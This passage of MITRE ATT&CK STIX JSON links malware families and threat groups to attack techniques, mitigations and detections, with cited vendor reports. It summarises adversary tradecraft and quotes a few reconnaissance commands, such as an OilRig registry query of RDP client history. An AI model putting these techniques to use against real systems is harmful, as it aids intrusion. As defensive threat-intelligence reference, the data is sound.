(2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) has used a dynamic XOR key and custom XOR methodology for C2 communications.(Citation: MSTIC FoggyWeb September 2021)  ", "modified": "2022-04-09T19:44:09.464Z", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1ee2aae-72b0-4258-abab-2705d6b9268a", "type": "relationship", "created": "2021-10-14T22:58:54.471Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-17T17:04:33.229Z", "description": "Using the machine's local time, [XCSSET](https://attack.mitre.org/software/S0658) waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, <code>.report</code>. After the elapsed time, [XCSSET](https://attack.mitre.org/software/S0658) executes additional modules.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1eebea8-ad12-4c3f-bbdc-10f26bbccda8", "type": "relationship", "created": "2021-03-08T14:10:51.622Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:09.413Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can use <code>DriveList</code> to retrieve drive information.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e1f316bc-b215-4a72-9108-7c5bd69f0454", "type": "relationship", "created": "2020-10-21T02:25:07.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. 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Retrieved March 21, 2022."}], "modified": "2022-03-21T22:57:40.681Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can collect the date and time from a compromised host.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e22619ba-a141-405c-92e2-4f157f953c14", "created": "2023-08-04T18:07:20.225Z", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. 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Retrieved March 8, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: FireEye FIN7 March 2017)", "modified": "2022-07-20T20:06:44.727Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e2335bc2-8ad0-484d-89b5-70b05a131296", "created": "2022-07-18T15:59:09.687Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Korean FSI TA505 2020", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=", "description": "Financial Security Institute. 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) can collect clipboard data.(Citation: Korean FSI TA505 2020)", "modified": "2022-07-18T15:59:09.687Z", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e23abec4-6a31-48c7-8857-e37951caebab", "type": "relationship", "created": "2022-03-07T19:33:01.785Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. 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[Wizard Spider](https://attack.mitre.org/groups/G0102) has also utilized the PowerShell cmdlet `Get-ADComputer` to collect DNS hostnames, last logon dates, and operating system information from Active Directory.(Citation: DFIR Ryuk's Return October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Respond Webinar July 2017", "description": "Scavella, T. and Rifki, A. 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Retrieved October 6, 2017.", "source_name": "Mandiant FIN5 GrrCON Oct 2016"}], "modified": "2019-04-24T19:41:25.779Z", "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.(Citation: FireEye Respond Webinar July 2017)(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e25ea0c4-513b-489d-943d-2828034f764f", "type": "relationship", "created": "2019-01-31T01:07:58.944Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2019-07-17T13:11:38.971Z", "description": "(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e25eac99-e1a6-4545-9353-3a2118dcf275", "created": "2023-03-24T17:59:28.343Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-24T17:59:28.343Z", "description": "Monitor for the creation of Registry values that may highlight storage of malicious data such as commands or payloads.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e260b882-0f57-4e44-b6fe-efaefccd1c3f", "type": "relationship", "created": "2021-05-26T15:39:50.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}], "modified": "2021-05-26T15:39:50.845Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) can execute <code>enum</code> to enumerate files in storage on a compromised system.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2675622-ec8e-4894-9f5e-3c82944e3019", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2021-08-09T14:18:21.431Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover operating system configuration details using the <code>systeminfo</code> and <code>set</code> commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e26cfb89-f796-4ba1-bf5c-4084b6479762", "type": "relationship", "created": "2019-03-12T14:14:22.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.903Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can use TLS to encrypt its C2 channel.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e273286f-8ca7-4d3e-bdc3-08929c7cbd12", "type": "relationship", "created": "2020-05-28T16:38:03.764Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}], "modified": "2020-06-15T20:53:11.743Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) has base64-encoded its portable executable and hidden itself under a JPG header. [Ramsay](https://attack.mitre.org/software/S0458) can also embed information within document footers.(Citation: Eset Ramsay May 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e27416ae-e9f1-4b3f-90b2-6cb4a1a6abf4", "created": "2023-03-26T19:41:33.592Z", "revoked": false, "external_references": [{"source_name": "ESET PipeMon May 2020", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T19:41:33.592Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501) has stored its encrypted payload in the Registry under `HKLM\\SOFTWARE\\Microsoft\\Print\\Components\\`.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2748683-077b-4e91-9225-6b29245fdafc", "type": "relationship", "created": "2019-06-24T16:27:16.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx", "description": "Microsoft. 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(Citation: Microsoft Install Password Filter n.d)", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2753d61-40d9-45b3-884a-a4c63b1da476", "type": "relationship", "created": "2019-06-28T17:40:32.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}], "modified": "2019-07-01T18:16:33.117Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used EnumProcesses() to identify how many process are running in the environment.(Citation: Cyphort EvilBunny Dec 2014)", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2763cbf-c068-47b5-a871-3b20a368497f", "type": "relationship", "created": "2021-10-13T22:50:48.686Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec WastedLocker June 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}], "modified": "2021-10-13T22:50:48.686Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used [PsExec](https://attack.mitre.org/software/S0029) to stop services prior to the execution of ransomware.(Citation: Symantec WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2772353-e6f8-406e-8416-fa4edeecd218", "type": "relationship", "created": "2019-04-23T15:49:35.507Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. 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Retrieved September 24, 2021."}], "modified": "2021-09-28T20:43:43.727Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has created a working folder for collected files that it sends to the C2 server.(Citation: Checkpoint IndigoZebra July 2021) ", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e27e75c2-5734-4602-8a32-c56bb50f890b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT10 April 2017", "description": "FireEye iSIGHT Intelligence. (2017, April 6). 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(2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "modified": "2022-02-01T18:10:10.720Z", "description": "(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e29d49a0-7cbf-47a2-b01a-d27056627c81", "type": "relationship", "created": "2020-05-12T21:44:40.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-12T21:44:40.902Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) communicated over HTTP with preconfigured C2 servers.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e29fa4df-f835-48e1-a83b-279818993793", "type": "relationship", "created": "2019-01-29T19:09:26.736Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", "description": "Hayashi, K. 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Retrieved January 12, 2018.", "source_name": "PaloAlto UBoatRAT Nov 2017"}], "modified": "2019-04-19T15:10:04.339Z", "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) can list running processes on the system.(Citation: PaloAlto UBoatRAT Nov 2017)", "relationship_type": "uses", "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2a29101-0b7e-4dab-adec-602712c09893", "type": "relationship", "created": "2020-07-22T19:16:02.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. 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Retrieved July 22, 2020."}], "modified": "2020-10-21T02:25:07.307Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used python scripts on the user\u2019s system, as well as the Python variant of the [Empire](https://attack.mitre.org/software/S0363) agent, EmPyre.(Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2a6a14d-87d3-4a8b-966f-fb3c1fab6e87", "type": "relationship", "created": "2020-02-11T19:06:19.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T19:06:19.039Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c", "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2a901d9-61a4-49df-8441-3ae622879cdf", "type": "relationship", "created": "2021-09-30T13:20:52.142Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. 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Retrieved September 27, 2021."}], "modified": "2021-10-12T18:16:40.826Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has the ability to enumerate windows on a compromised host.(Citation: ATT QakBot April 2021)\n", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e2a9b959-8179-4ea0-99bc-8a8310bd1de2", "type": "relationship", "created": "2020-03-29T22:15:08.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-29T22:18:11.329Z", "description": "Ensure proper Registry permissions are in place to prevent adversaries from disabling or modifying firewall settings.", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e2ac0292-0de5-4805-9ff8-f56881331295", "created": "2023-01-17T22:00:39.901Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Avos Jun 2022", "description": "Venere, G. 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Retrieved April 11, 2018.", "source_name": "Lookout Dark Caracal Jan 2018"}, {"source_name": "CheckPoint Bandook Nov 2020", "url": "https://research.checkpoint.com/2020/bandook-signed-delivered/", "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}], "modified": "2021-05-31T17:16:32.735Z", "description": "(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", "target_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e30c24d3-d440-4395-88b3-3192a02c4364", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "source_name": "Palo Alto OilRig May 2016"}], "modified": "2019-09-04T22:55:41.133Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used <code>reg query \u201cHKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\u201d</code> on a victim to query the Registry.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e30d2085-62df-4c4a-9828-a9b6d5396136", "created": "2023-03-26T16:48:02.914Z", "revoked": false, "external_references": [{"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:43:12.339Z", "description": "[ObliqueRAT](https://attack.mitre.org/software/S0644) can capture images from webcams on compromised hosts.(Citation: Talos Oblique RAT March 2021)", "relationship_type": "uses", "source_ref": "malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9", 